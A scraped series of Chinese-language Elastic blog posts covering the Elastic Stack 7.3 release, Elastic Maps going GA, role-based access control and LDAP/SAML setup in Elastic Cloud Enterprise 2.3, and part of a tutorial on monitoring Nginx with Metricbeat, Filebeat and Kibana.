</p><h2>这只是刚刚开始</h2><p>虽然此次发布对于 Elastic 地图来说是一个巨大的里程碑，但我们才刚刚开始。我们将继续投入研发更稳健的跨堆栈功能，将基于位置的数据探索提升到一个新的水平。无论您是已经在将堆栈用于流行的用例（如日志分析、安全分析或可观察性），还是只是探索针对地理空间需求的选项，Elastic 地图都是支持您进行位置数据分析和探索的强大工具。
</p><h2>马上试用 Elastic 地图</h2><p>如要开始使用，请在我们的 <a href="/cn/cloud/elasticsearch-service">Elasticsearch Service</a> 上快速部署一个试用集群，或者安装最新版的 <a href="/cn/downloads">Elastic Stack</a>。Elasticsearch 中已经有数据了？使用最新版的 Stack 来测试一下 Elastic 地图。
</p><p>下面是一些非常有用的材料来帮助您开始：
</p><ul>
	<li><a href="/cn/products/maps">Elastic 地图解决方案页</a></li>
	<li><a href="/cn/blog/elastic-maps-beta-released">Elastic 地图公测版博客</a></li>
	<li><a href="/cn/webinars/elastic-maps-for-geospatial-analysis">面向地理空间分析的 Elastic 地图网络研讨会</a></li>
	<li><a href="/guide/en/kibana/current/maps.html">Elastic 地图文档</a></li>
</ul>

banner-maps.png

thumb-maps.png

Elastic 地图现已正式发布

我们无比激动地宣布 Elastic Stack 7.3 版本隆重登场，这是一个令人期待的新版本！

<p>我们无比激动地宣布 Elastic Stack 7.3 版本隆重登场，这是一个令人期待的新版本！
</p><p>在本篇博文中，我们将会为大家介绍这一版本中的部分亮点。请务必查看专门介绍各个产品的博客文章，以便深入了解新功能的全部详情。已经迫不及待了吧，7.3 版本已在我们的 <a href="/cn/products/elasticsearch/service">Elasticsearch 服务</a>上推出；Elasticsearch 服务是唯一提供这些新功能的托管型 Elasticsearch 产品。或者，您也可以<a href="/cn/start">下载 Elastic Stack</a>。
</p><p>接下来，让我们直奔主题，聊聊新功能。
</p><h2>实体化视图？以实体为中心的索引？引入数据帧
</h2><p>跟<em>数据帧</em>打个招呼吧，利用这项新功能，您可以动态透视 Elasticsearch 数据，创建以实体为中心的活动索引。这是一项令人振奋的功能，它打开了全新分析世界的大门，包括新的机器学习分析，诸如异常值检测（在 7.3 版本中添加的一项实验功能）、聚类、分类等。
</p><p>正如解释大多数功能强大的概念一样，我们最好通过示例来说明这一功能。假设您希望在 Web 服务器日志中查找可疑的 IP 地址。您可能想了解发出了多少请求、响应代码以及为每个 IP 地址传输的总数据量。借助数据帧功能，您可以新建一个以实体为中心的索引，每个唯一的 IP 地址都有一个文档，用于跟踪每个感兴趣的指标 — 在这个用例中为总请求数、每个响应状态的计数和传输的字节数。最重要的是，数据帧支持连续处理，这意味着当有新文档添加到输入索引中时，这一转换后的以实体为中心的索引将自动更新。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt0d5d98a9b69d3ab4/5d394361e22851575354410f/dataframes.gif" data-sys-asset-uid="blt0d5d98a9b69d3ab4" alt="dataframes.gif"></p><p>通过数据帧，我们构建了一个强大的引擎，可以将数据转换为新的分析类型。这些活动的<em>透视</em>只是数据帧实现的第一组转换，我们很高兴在将来会引入更多的转换，将数据帧概念扩展到更多的用例。
</p><p><a href="/cn/blog/elasticsearch-7-3-0-released">阅读关于数据帧的更多信息</a>。
</p><h2>Elastic SIEM 增加了异常检测 — 因为只有规则还不够
</h2><p>我们在 7.2 版本中引入了 <a href="/cn/blog/introducing-elastic-siem">SIEM 解决方案</a>，从那以后我们一直都很忙。
</p><p>仅靠规则很难抓住坏人。因此，通过将我们的机器学习能力集成到 SIEM 应用中，我们在 7.3 版本的 <a href="/cn/products/siem">Elastic SIEM</a> 中增强了威胁检测和威胁搜索工作流。用户现在可以从 SIEM 应用中轻松启用和运行一组机器学习异常检测作业，用以专门检测特定的网络攻击行为。检测到的异常可以方便地显示在 SIEM 应用的托管和网络视图上。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt1ad3eafa2a4c6adb/5d3924c61f2f0457e07e36bb/02-elasticsearch-siem-machine-learning-7-3-0-blog.png" data-sys-asset-uid="blt1ad3eafa2a4c6adb" alt="02-elasticsearch-siem-machine-learning-7-3-0-blog.png">
</p><p>不想使用预配置作业的用户可以使用 Machine Learning 应用轻松添加自定义异常检测作业。
</p><p>通过此项集成，现在利用机器学习来帮助检测攻击行为变得前所未有的容易。有关完整详情，请参阅 <a href="/cn/blog/elastic-siem-7-3-0-released">Elastic SIEM 发布博文</a><siem release="" blog="">。</siem>
</p><h2>Elastic 地图已正式发布
</h2><p>位置一直是搜索中十分重要的一部分，无论是调查您网络中的攻击源、诊断特定区域内应用程序响应时间较慢的原因、实时跟踪送货卡车，还是只想找到附近最好吃的墨西哥卷饼，都离不开位置搜索。这正是我们从一开始 (<a href="/cn/blog/geo-location-and-search">0.9.1</a>!) 就致力于在 Elastic Stack 中构建更快、更强大且更高效的地理空间功能的原因所在。
</p><p>在 6.7 版本中，我们作为一项公测功能引入了 <a href="/cn/products/maps">Elastic 地图</a>，为在 Kibana 中浏览和理解地理空间数据提供了更加直观和可交互的方式，为未来打下了坚实的基础。在 7.3 版本中，我们很高兴地宣布 Elastic 地图已经完全准备就绪。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blta55b0643964d4b45/5d3789c25cb66453b1279c1c/02-elasticsearch-elastic-maps-suricata-events-7-3-0.png" data-sys-asset-uid="blta55b0643964d4b45" alt="02-elasticsearch-elastic-maps-suricata-events-7-3-0.png">
</p><p>此外，Elastic 地图还添加了几项新功能，其中最令人兴奋的是能够将特性、形状和图层从 GeoJSON 文件上传到地图中。其他诸如在绘制自定义图标和可视化过去已知位置方面的功能改进，增强了整体的用户体验。
</p><p>有关完整详情，请<a href="/cn/blog/elastic-maps-7-3-0-released">阅读 Elastic 地图博文</a>。我们为自己在 Elastic 地图方面所取得的进展深感自豪，并为用户能够体验 7.3 版本的新功能以及计划在未来发布的激动人心的功能而感到兴奋。
</p><h2></h2><h2>没错，这只是冰山一角！
</h2><p>还有非常多的功能。请查看各产品的博文，详细了解我们在 7.3 版本中添加的所有新功能：
</p><ul>
	<li>Elasticsearch 引入了只支持选举的主节点，添加了期待已久的稀有词汇聚合、新的快照/恢复管理 UI、动态更新的同义词及其他更多内容。<a href="/cn/blog/elasticsearch-7-3-0-released">请在 Elasticsearch 发布博文中了解详情</a>。
	</li>
	<li>Kibana 提供了对 Kerberos、自动完成和 KQL 的支持来过滤聚合，并提供了画布工作板模板，可以更轻松地构建漂亮的显示内容 — <a href="/cn/blog/kibana-7-3-0-released">但这还不是全部</a>。
	</li>
	<li>Beats 增加了对一系列新数据源的支持（包括 Oracle 和 Amazon RDS 这样的关系数据库、针对 Kubernetes kube-proxy、kube-scheduler 以及 kube-controller-manager 的指标）、对 GCP VPC 流日志的网络流支持，并改进了对 Amazon Kinesis Data Streams 和带有 Functionbeat 的 Amazon Cloudwatch 的支持。<a href="/cn/blog/beats-7-3-0-released">请阅读 Beats 发布博文了解详情</a>。
	</li>
	<li>Logstash 现在默认包含 <a href="/cn/blog/logstash-7-3-0-released">JMS 支持</a>。
	</li>
	<li>Elastic APM .NET Agent 现已正式发布。此外，Elastic APM 添加了一种新的方法来查看带有聚合服务分解图的服务、来自 Kibana 的代理采样率配置，以及<a href="/cn/blog/elastic-apm-7-3-0-released">更多内容</a>。
	</li>
	<li>Elastic Uptime 改进了多位置监测器在<a href="/cn/blog/elastic-uptime-monitoring-7-3-0-released">监测摘要和详情</a>方面的界面外观。
	</li>
	<li>Elastic Logs 添加了<a href="/cn/blog/elastic-logs-7-3-0-released">关键字高亮显示</a>，以及基于 <code>trace.id</code> 跳转到 APM 痕迹的功能。</li>
	<li>Elastic Infrastructure 应用中的 Metrics Explorer 现在可以在生产系统中使用，您可以根据时序指标快速执行聚合可视化。此外，Elastic Infrastructure 还改进了对其他核心 Kubernetes 服务的监测，并在 AWS 模块中新增了 RDS 指标集。请阅读 <a href="/cn/blog/elastic-infrastructure-7-3-0-released">Elastic Infrastructure 发布博文</a>了解详情。</li>
</ul><p>祝您体验开心！
</p>

elastic-stack-7-3-0-released-banner.jpg

elastic-stack-7-3-0-released-thumb.jpg

Elastic Stack 7.3.0 重磅发布

ECE 的 RBAC 支持在 2.3 的 GA 版中提供。了解如何配置多个用户，连接到 LDAP、SAML 和 Active Directory，以及使用角色控制系统访问权限。

<p>我们很高兴地宣布，随着 Elastic Cloud Enterprise (ECE) 2.3 的发布，基于角色的访问控制和外部源身份验证功能现已正式推出。通过这些功能，您可以拥有 ECE 平台访问权限由角色控制的多个用户。您可以在 ECE 中本地添加用户，并连接您自己的目录服务器或身份提供商，以向现有用户授予访问权限。
</p><p>我们最初在 <a href="/cn/blog/elastic-cloud-enterprise-2-2-0-released" target="_blank">ECE 2.2</a> 中针对这些功能添加了公测版支持。除了在 2.3 版中消除了若干漏洞之外，我们还添加了对 Active Directory 以及现有 LDAP 和 SAML 选项的支持。
</p><h2>工作原理？</h2><p>为 ECE 启用 RBAC 会添加一个安全部署，这是一个管理所有身份验证配置和权限的系统部署。当用户尝试登录时，ECE 将使用此安全部署来执行身份验证，并根据情况回退给系统用户。如果用户成功通过身份验证，ECE 则会应用用户分配的角色并将他们转换为细粒度权限，进而控制每个用户可以查看的数据以及可以执行的操作。
</p><p>请注意，用户的 ECE 角色与用户为在 ECE 中托管的部署所保留的任何凭据是分开的。用户可能没有对 ECE 的访问权限，但具有对托管部署的管理访问权限，反之亦然。
</p><h2>提供哪些角色？</h2><p>ECE 在平台和部署级别提供了一组丰富的操作。为了减轻管理员在定义和维护他们自己角色定义方面的工作，ECE 提供了一组涵盖最常见用例的预定义角色。这些角色将随着更多功能的交付而不断更新，因此，您无需担心将自己的定义保持最新状态。
</p><p>角色描述如下。用户可以拥有多个角色并根据需要进行组合，例如，“平台管理员”可以执行任何操作，因此，无需为他们提供其他角色。但是，“平台查看人”可以查看任何内容但不能更改，因此，您可能会将其与“部署管理人”角色组合使用。
</p><h3>平台管理员</h3><p>通过这一角色，用户能够以与安装过程中创建的系统级 <code>admin</code> 用户（或 ECE 1.x 中的 <code>root</code>）相同的方式查看所有数据，并在 ECE 中执行任何操作。这一角色通常仅由负责整个 ECE 平台的管理员拥有。UI 中的“平台”部分就是一个恰当的例子，因为它提供了有关（例如）分配器及其部署的信息，并且能够腾出分配器或将其置于维护模式。
</p><h3>平台查看人</h3><p>这一角色提供对整个平台和托管部署仅查看的权限。关联的权限与 <code>readonly</code> 系统级用户拥有的权限相同。这对于自动化非常有用，例如监控 ECE 的状态。
</p><h3>部署管理人</h3><p>这一角色允许用户在平台上创建和管理部署。具有这一角色的用户可以对部署执行任何操作：扩展、缩小、配置快照、重启节点和重置密码等等，但它不允许用户访问任何平台级别的操作和资源，例如部署模板、实例配置、分配器和系统部署等。
</p><p>这一角色适用于任何负责管理部署但不需要查看平台级信息（如开发团队负责人）的人员。
</p><h3>部署查看人</h3><p>拥有这一角色的用户可以查看部署，但无法以任何方式修改它们。这一角色适用于支持人员或开发团队成员。
</p><h2>管理本机用户
</h2><p>要在 ECE 中开始使用 RBAC，最简单的方法就是创建本机用户。这些用户将保存在 Elasticsearch 本机 Realm 内的安全部署中，而且仅支持有限数量的属性：用户名、全名、电子邮件、密码、角色，以及它们当前是否已启用。
</p><p>单击导航菜单中的“User”（用户），可查看您的身份验证提供程序，其中一个是“Native users”（本机用户）配置文件。打开这个配置文件就会将您转到一个所有本机用户的列表。该列表包括由 ECE 安装程序创建的两个系统用户。这些用户无法进行编辑或删除，并且无法在此处重置其密码，请参阅<a href="/guide/en/cloud-enterprise/current/ece-manage-system-passwords.html">文档</a>，了解有关如何重置密码的更多说明。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt6263f031f9bbb57d/5d39c1b65cb66453b127ab26/rbac-ece-2-3-native-users-demo-blog.gif" data-sys-asset-uid="blt6263f031f9bbb57d" alt="演示：创建本机用户" style="display: block; margin: auto;">
</p><p>在“Native users”（本机用户）页面中，您可以创建、编辑和删除本机用户。这些用户可以像系统用户一样登录 ECE，他们的访问权限按照您分配给他们的角色进行控制。
</p><h2>用户设置页面
</h2><p>ECE 2.3 还添加了一个“User Settings”（用户设置）页面。单击该页面右上角的用户图标，然后单击“Settings”（设置）。如果您以本机用户身份登录，则可以编辑您的姓名和电子邮件，或更改密码。如果您使用外部身份验证提供程序中的用户登录，则会看到一个只读页面，其中包含一些基本信息、身份验证配置文件的名称和类型，以及您拥有的角色。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt29033bf68c6711b2/5d39c1f1c3a6d753ac37c0b5/rbac-ece-2-3-user-settings-blog.gif" data-sys-asset-uid="blt29033bf68c6711b2" alt="演示：编辑用户设置" style="display: block; margin: auto;">
</p><h2>外部身份验证提供程序
</h2><p>如果您已有 LDAP、Active Directory 或 SAML 服务器，则可以将 ECE 配置为使用它们进行身份验证和授权。您甚至可以配置多个服务器，并按照您以与 <a href="/guide/en/elastic-stack-overview/7.2/realm-chains.html" target="_blank">Elasticsearch 相同方式</a>设置的顺序尝试身份验证。使用现有的身份验证源意味着您只需在一个位置管理用户。外部提供程序的角色映射配置允许您在 ECE 中将用户属性映射到角色，因此，用户属性的任何更改（如组成员身份）都会由 ECE 自动获取。
</p><p>在身份验证提供程序概述页面中，单击“Add provider”（添加提供程序）并选择一个类型。在下一页，将配置该提供程序。下面让我们逐步完成基本 LDAP 设置的配置选项。
</p><h2></h2><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltb2810d6c8646f88f/5d39c2291f2f0457e07e3c9a/rbac-ece-2-3-create-ldap-provider-blog.gif" data-sys-asset-uid="bltb2810d6c8646f88f" alt="演示：创建 LDAP 提供程序" style="display: block; margin: auto;">
</p><h3>LDAP 身份验证提供程序
</h3><p>常规设置：
</p><ol>
	<li>每个配置文件都有一个名称。除了使用它来标记配置文件外，这个名称还用来生成一个 Realm ID。请注意，创建配置文件后，Realm ID 将不会再更改。</li>
	<li>必须至少设置一个 LDAP 服务器，包括开始时的 <code>ldap:</code> 或 <code>ldaps:</code> 协议。如果选择基于 DNS 的负载平衡策略，则只能指定单个服务器。</li>
	<li>选择负载平衡策略时，请记住上述限制。</li>
</ol><p>可信证书：
</p><ol start="4">
	<li>如果您的 LDAP 服务器以客户端需要保存特定 SSL/TLS 证书的方式受到保护，则需要准备捆绑文件并通过 URL 将其提供给 ECE。如需了解更多详细信息，请参阅<a href="/guide/en/cloud-enterprise/current/ece-create-ldap-profiles.html#ece-prepare-ldap-certificates" target="_blank">文档</a>。</li>
	<li>如果您的捆绑包受密码保护，请在此处提供密码。</li>
</ol><p>绑定凭据：
</p><ol start="6">
	<li>如果凭据需要绑定到 LDAP 服务器，您可以在此处设置它们。</li>
	<li>或者，如果不需要凭据，则单击“Bind anonymously”（匿名绑定）切换按钮。</li>
</ol><p>搜索模式设置：
</p><ol start="8">
	<li>您可以针对用户搜索指定每条详细信息。有关这些字段的信息，请参阅<a href="/guide/en/cloud-enterprise/current/ece-create-ldap-profiles.html#ece-ldap-search-mode" target="_blank">文档</a>。至少，您可能需要设置“Base DN for users”（用户的基本 DN），例如“cn=users,dc=example,dc=com”。</li>
	<li>或者，如果您需要使用模板来执行 LDAP 查询，请单击“Template”（模板）单选按钮，然后提供一个或多个模板。</li>
</ol><p>组搜索设置：
</p><ol start="10">
	<li>与搜索模式设置非常相似，您可以配置 ECE 应如何搜索用户组。您可能需要设置“Base DN for groups”（组的基本 DN），例如“ou=groups,dc=example,dc=com”。</li>
</ol><p>角色映射：
</p><ol start="11">
	<li>用户需要拥有一个或多个角色才能通过 ECE 执行任何操作。针对成功通过身份验证的所有用户，您可以指定一些将分配给他们的默认角色。例如，您可以向所有用户授予“Deployments viewer”（部署查看人）角色，以便他们可以查看 ECE 中托管的所有部署而无法编辑任何内容。</li>
	<li>另一种分配角色的方法是通过角色映射。这些只是简单规则，指明如果用户 DN 或组 DN 匹配某个值，则会分配一个或多个指定的角色。您可以根据需要拥有任意数量的映射，例如，为 IT Ops 用户提供“Deployment viewer”（部署查看人）的映射，为所有开发人员提供“Deployment manager”（部署管理人）的映射，以及为所有管理员提供“Platform viewer”（平台查看人）的映射。</li>
</ol><p>完成后，单击<strong>Create profile</strong>（创建配置文件），ECE 即会重新配置安全部署。您现在应该使用各种 LDAP 用户进行登录，检查他们是否可以进行身份验证，以及他们的角色是否正确。您可以从用户设置页面直接检查角色，也可以通过浏览 UI，确保他们能够查看的内容和执行的操作符合预期。
</p><h3>Active Directory 和 SAML 身份验证提供程序
</h3><p>概括来讲，从 ECE 的角度看这个流程类似于 LDAP。您可以创建 SAML 或 Active Directory 身份验证提供程序，为其命名，指定 ECE 应如何与服务器通信，以及定义应适用的映射。
</p><p>有关配置 <a href="/guide/en/cloud-enterprise/current/ece-create-saml-profiles.html" target="_blank">SAML 身份验证提供程序</a>或 <a href="/guide/en/cloud-enterprise/current/ece-create-ad-profiles.html" target="_blank">Active Directory 身份验证提供程序</a>的完整说明，请参阅文档。
</p><h3>REST API 支持
</h3><p>所有上述操作也可以使用 <a href="/guide/en/cloud-enterprise/current/ece-restful-api.html" target="_blank">REST API</a> 来执行。例如，要提取所有用户的列表，甚至是当前已禁用的用户：
</p><pre class="prettyprint">GET /api/v1/users?include_disabled=true
</pre><p>假设您需要授予新的系统管理员 Sarah 的权限。您可以按如下所示为她创建一个新的本机用户：
</p><pre class="prettyprint">POST /api/v1/users
{
  "user_name": "sarah",
  "security": {
    "roles": ["ece_platform_admin"],
    "password": "deadb33f"
  }
}
</pre><p>如果您随后想更改 Sarah 的访问权限，则可以发送一个仅包含要更改字段的 PATCH 请求，在本例中角色为：
</p><pre class="prettyprint">PATCH /api/v1/users/sarah
{
  "security": {
    "roles": ["ece_platform_viewer"]
  }
}
</pre><p>最后，您可以使用 DELETE 请求删除 Sarah 的帐户：
</p><pre class="prettyprint">DELETE /api/v1/users/sarah
</pre><p>有关身份验证提供程序端点的详细信息和示例，请参阅 <a href="/guide/en/cloud-enterprise/current/Platform_-_Configuration_-_Security_Realms.html" target="_blank">REST API 文档</a>。
</p><h3 style="background-color: rgb(255, 255, 255);">即刻开始使用</h3><p style="background-color: rgb(255, 255, 255);">有关 ECE 2.3 中的完整更改列表，请务必查看<a href="/guide/en/cloud-enterprise/2.3/index.html" target="_blank">发行说明</a>。如果您想自己试用，可立即开始<a href="/cn/downloads/enterprise" target="_blank">免费试用 30 天</a>。
</p>

pile-of-old-keys-full-bleed.jpg

pile-of-old-keys-thumbnail.jpg

Role-based access control and external authentication is GA in ECE 2.3

基于角色的访问控制和外部身份验证功能在 ECE 2.3 的 GA 版中提供

介绍 Lookslike — 一种新的开源 Go 测试/架构库，帮助您应对所有数据验证需求。

testing-shapes-blog-banner.jpg

testing-shapes-blog-thumb.jpg

Testing data shapes with go-lookslike

使用 Go-Lookslike 测试数据形状

通过使用 Elastic Stack 监测 Nginx 服务器，可帮助您识别基础架构问题，计划例行维护，甚至阻止 DDOS 攻击。

<p>在本文中，我们将介绍如何使用 Elastic Stack 的各种组件来监测 Nginx。我们会使用 Metricbeat 和 Filebeat 来收集数据。这些数据将发送到 Elasticsearch 并存储在其中。最后，我们会使用 Kibana 查看数据。
</p><p>Metricbeat 将收集与连接相关的数据（活动、已处理、已接受等），以及客户端请求的总数。Filebeat 将收集与访问日志和错误日志相关的数据。收集的信息会因不同的设置而有所变化，但在大多数情况下，我们可以使用这些信息来推断某些事情，例如：
</p><ul>
	<li>如果针对某个资源的错误日志数出现陡增，则可能意味着我们删除了一个仍在需要的资源。</li>
	<li>访问日志就可以了解一项服务出现峰值的时间（从而可以确定执行维护之类操作的最佳时间）。</li>
	<li>如果客户端请求数突然出现陡增，则表明可能有恶意攻击（如 DDOS 攻击）。</li>
</ul><p>本文的重点是介绍监测功能，因此，像 ElasticSearch 设置这样的内容将简单带过。我使用的是 Mac 系统，所以将会使用 Elasticsearch、Metricbeat、Filebeat 和 Kibana 的 Mac 发行版。有关其他平台的发行版，<a href="/downloads/">可以从下载页面获取</a>。
</p><h2>安装 Elasticsearch</h2><p><a href="/products/beats/metricbeat">Metricbeat</a> 和 <a href="/products/beats/filebeat">Filebeat</a>（实际上是所有 <a href="/products/beats/">Beats</a>）都需要 Elasticsearch 集群来存储数据。我们将在本地设置一个简单的 Elasticsearch 集群。由于我们未对外公开 Elasticsearch，所以我们无需花费时间<a href="/blog/getting-started-with-elasticsearch-security">配置安全性</a>。
</p><h4>第 1 步：下载 Elasticsearch</h4><pre class="prettyprint">curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.1.0-darwin-x86_64.tar.gz
</pre><h4>第 2 步：解压缩存档文件</h4><pre class="prettyprint">tar -xvf elasticsearch-7.1.0-darwin-x86_64.tar.gz
</pre><h4>第 3 步：更改为 bin 目录</h4><pre class="prettyprint">cd elasticsearch-7.1.0/bin
</pre><h4>第 4 步：启动我们的单一节点集群</h4><pre class="prettyprint">./elasticsearch
</pre><p>默认情况下，您的集群将在 <code>localhost:9200</code> 运行。
</p><h2>运行 Nginx</h2><p>有许多途径可以运行 Nginx — 在主机上独立运行、通过 Docker 容器运行，或者在 Kubernetes 设置中运行等等。Beats 具有自动发现功能，可在服务器容器加速和被删除时侦听容器 API 事件，以跟踪服务器容器。
</p><p>鉴于 Nginx 可以通过多种方式进行设置和配置，本文将不做过多假设，并会展示主机配置和自动发现（在本用例中是 Docker）示例。
</p><h2>配置 Metricbeat 和 Filebeat</h2><p>现在，我们将配置 Beats 来开始收集和发送数据。
</p><h3>Metricbeat</h3><p>我们将使用 Metricbeat 收集指标。
</p><h4>第 1 步：下载 Metricbeat：</h4><pre class="prettyprint">curl -L -O https://artifacts.elastic.co/downloads/beats/metricbeat/metricbeat-7.1.0-darwin-x86_64.tar.gz
</pre><h4>第 2 步：解压缩存档文件</h4><pre class="prettyprint">tar -xvf metricbeat-7.1.0-darwin-x86_64.tar.gz
</pre><h4>第 3 步：更改目录</h4><pre class="prettyprint">cd metricbeat-7.1.0-darwin-x86_64
</pre><p>配置时间！
</p><p>默认情况下，配置文件 (metricbeat.yml) 将查找在 localhost:9200 运行的 Elasticsearch 集群，这是我们早前配置好的。
</p><h4>第 4 步：启用相关的 Metricbeat 模块</h4><p>默认情况下，仅收集系统级别的指标：
</p><pre class="prettyprint">./metricbeat modules enable nginx
</pre><h4>第 5 步：更改文件所有权</h4><p>我们需要更改几个文件的所有权，因为我们将以根用户身份运行 Metricbeat（或者，您可以选择在命令行中使用 --strict.perms=false 选项来禁用严格的权限检查）：
</p><pre class="prettyprint">sudo chown root metricbeat.yml 
sudo chown root modules.d/system.yml 
sudo chown root modules.d/nginx.yml
</pre><h4>第 6 步：启用指标集</h4><p>如果打开 <code>modules.d/nginx.yml</code> 文件，即可启用 <code>stubstatus</code> 指标集，包括取消注释以下内容：
</p><pre class="prettyprint">#metricsets:
#  - stubstatus
</pre><p>这个指标集从 Nginx <a href="https://nginx.org/en/docs/http/ngx_http_stub_status_module.html">ngx_http_stub_status</a> 模块收集数据，因此，请务必配置此 Nginx 模块以便指标集正常工作。
</p><p>此外，您还可以更改此处监测的主机，默认情况下监测的是 <code>&lt;a href="http://127.0.0.1">http://127.0.0.1&lt;/a></code>。对于基于主机的设置，这就是我们需要的所有信息。
</p><h4>第 7 步：自动发现设置（备选）</h4><p>使用<a href="/guide/en/beats/metricbeat/7.1/configuration-autodiscover.html">自动发现</a>设置时，在三个提供程序（Docker、Kubernetes 和 Jolokia）之间的等效配置将会有所不同。Docker 示例将如下所示，其中我们在 <code>metricbeat.yml</code> 配置文件底部添加了 <code>metricbeat.autodiscover</code>。
</p><pre class="prettyprint">metricbeat.autodiscover:
  providers:
    - type: docker
      templates:
        - condition:
            contains:
              docker.container.image: nginx
          config:
            - module: nginx
              metricsets: ["stubstatus"]
              hosts: "${data.host}:${data.port}"
</pre><p>使用此配置后，将会匹配使用名称中含 Nginx 的图像的所有 Docker 容器（<a href="/guide/en/beats/metricbeat/7.1/defining-processors.html#conditions">contains 将执行子字符串匹配，而不是精确匹配</a>），并将使用一个 config 来启用带有子状态指标集的 Nginx 模块。
</p><h4>第 8 步：运行 Metricbeat</h4><p>很好，现在我们已经配置好了，我们接着可以运行带有标志的 Metricbeat，将日志发送到 stderr 并禁用 syslog/文件输出：
</p><pre class="prettyprint">sudo ./metricbeat -e
</pre><p>如果一切正常，您应该看到一些初始输出，然后在 Metricbeat 每次将数据发回集群时看到更多的输出。
</p><h3>Filebeat</h3><p>我们将使用 Filebeat 收集日志。
</p><h4>第 1 步：下载 Filebeat</h4><pre class="prettyprint">curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.1.0-darwin-x86_64.tar.gz
</pre><h4>第 2 步：解压缩存档文件</h4><pre class="prettyprint">tar -xvf filebeat-7.1.0-darwin-x86_64.tar.gz
</pre><h4>第 3 步：更改目录</h4><pre class="prettyprint">cd filebeat-7.1.0-darwin-x86_64
</pre><h4>第 4 步：启用 Nginx 模块</h4><pre class="prettyprint">./filebeat modules enable nginx
</pre><p>默认情况下，将收集访问日志和错误日志。至于日志文件路径，Filebeat 将尝试根据您的操作系统来确定这些路径，如果您需要显式设置不同的路径，则可以在 modules.d/nginx.yml 配置文件中设置路径。
</p><h4>第 5 步：更改文件所有权</h4><pre class="prettyprint">sudo chown root filebeat.yml
sudo chown root modules.d/nginx.yml
sudo chown root module/nginx/access/manifest.yml
sudo chown root module/nginx/error/manifest.yml
</pre><p>对于基于主机的设置，这些就是我们需要的所有信息。
</p><h4>第 6 步：自动发现设置（备选）</h4><p>如上所述，需要额外配置才能使用自动发现。与前面部分类似，Docker 示例需要将自动发现部分添加到 config 中，filebeat.yml 将类似如下所示：
</p><pre class="prettyprint">filebeat.autodiscover:
 providers:
   - type: docker
     templates:
       - condition:
         contains:
           docker.container.image: nginx
         config:
           - module: nginx
             access:
               input:
                 type: docker
                 containers.ids:
                   - "${data.docker.container.id}"
             error:
               input:
                 type: docker
                 containers.ids:
                   - "${data.docker.container.id}"
</pre><p>其中我们会配置访问选项和错误选项，以使用 <a href="/guide/en/beats/filebeat/7.1/filebeat-input-docker.html">Docker 输入</a>。Docker 输入将在其路径（Docker 日志所在的基本路径，默认情况下为 <code>/var/lib/docker/containers）</code>下搜索容器日志。我们使用<a href="/guide/en/beats/filebeat/7.1/configuration-autodiscover.html#_docker_2">与模板条件匹配的容器 ID</a> 指定 <code>containers.ids</code>。总而言之，日志（默认情况下）将来自 <code>/var/lib/docker/containers/ac29b98ad83ca43bb4c15ae8f0d03aff8c7d57bf5dee9024124374b92b14b0f2/</code>（ID 会有所不同）。
</p><h4>第 7 步：运行 Filebeat</h4><pre class="prettyprint">sudo ./filebeat -e
</pre><h2>安装 Kibana</h2><p>至此，我们有了 Metricbeat 和 Filebeat 来发送关于 Nginx 服务器的数据，接下来我们需要一种途径来查看这些数据，这就要使用 Kibana 了。
</p><h4>第 1 步：下载 Kibana</h4><pre class="prettyprint">curl -O https://artifacts.elastic.co/downloads/kibana/kibana-7.1.0-darwin-x86_64.tar.gz
</pre><h4>第 2 步：解压缩存档文件并更改目录</h4><pre class="prettyprint">tar -xzf kibana-7.1.0-darwin-x86_64.tar.gz
</pre><pre class="prettyprint">cd kibana-7.1.0-darwin-x86_64
</pre><h4>第 3 步：运行 Kibana</h4><pre class="prettyprint">./bin/kibana
</pre><p>默认情况下，Kibana 将使用 Elasticsearch 主机 <code>http://localhost:9200</code>，并可从 <code>http://localhost:5601</code> 访问 Kibana。
</p><p>如果您导航到 <a href="http://localhost:5601"><code>http://localhost:5601</code></a>，应会看到以下欢迎内容：
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltad0c6331722acdc1/5d2dba9c9f0a7673f0580236/nginx-monitoring-image1.png" data-sys-asset-uid="bltad0c6331722acdc1" alt="“Welcome to Kibana”（欢迎使用 Kibana）屏幕" style="display: block; margin: auto;" width="420" height="530">
</p><p>您可以选择尝试操作样本数据，但在这里我们将单击 <strong>Explore on my own</strong>（浏览我自己的数据）。
</p><h2>在 Kibana 中可视化 Nginx 数据</h2><p>接下来，我们将介绍如何使用 Kibana 查看和分析数据。
</p><h3>基础架构</h3><p>如果我们导航到 Kibana 侧栏上的“Infrastructure”（基础架构）应用，将能够看到基础架构（最后一刻）的快照视图。根据所使用的配置，可以在“Hosts”（主机）下访问基于非自动发现的设置的数据，对于自动发现的设置，Docker 和 Kubernetes 按钮（基于所使用的提供程序）将引导您访问正确的数据集：
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt1873b9142f8f4dc9/5d2d374e9f0a7673f057fe6c/nginx-monitoring-image2.png" data-sys-asset-uid="blt1873b9142f8f4dc9" alt="Hosts（主机）、Kubernetes 和 Docker 按钮" style="display: block; margin: auto;" width="420" height="100">
</p><p>因为我使用的是基于主机的设置，所以我可以单击“Hosts”（主机）按钮，查看正在从 Metricbeat 发送的下列数据：
</p><h2><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt2594e5bbb16134f9/5d2d37839f0a7673f057fe72/nginx-monitoring-image3.png" style="background-color: initial; font-family: proximaNovaRegular, Arial, Helvetica, sans-serif; font-size: 14px; color: rgb(116, 133, 144); display: block; margin: auto;" data-sys-asset-uid="blt2594e5bbb16134f9" alt="单击“Hosts”（主机）按钮可查看正在发送的数据"></h2><p>如果我们选择其中一个节点，并选择<strong>查看指标</strong>，则可以看到一个针对该单一 Nginx 服务器的详细指标页面。
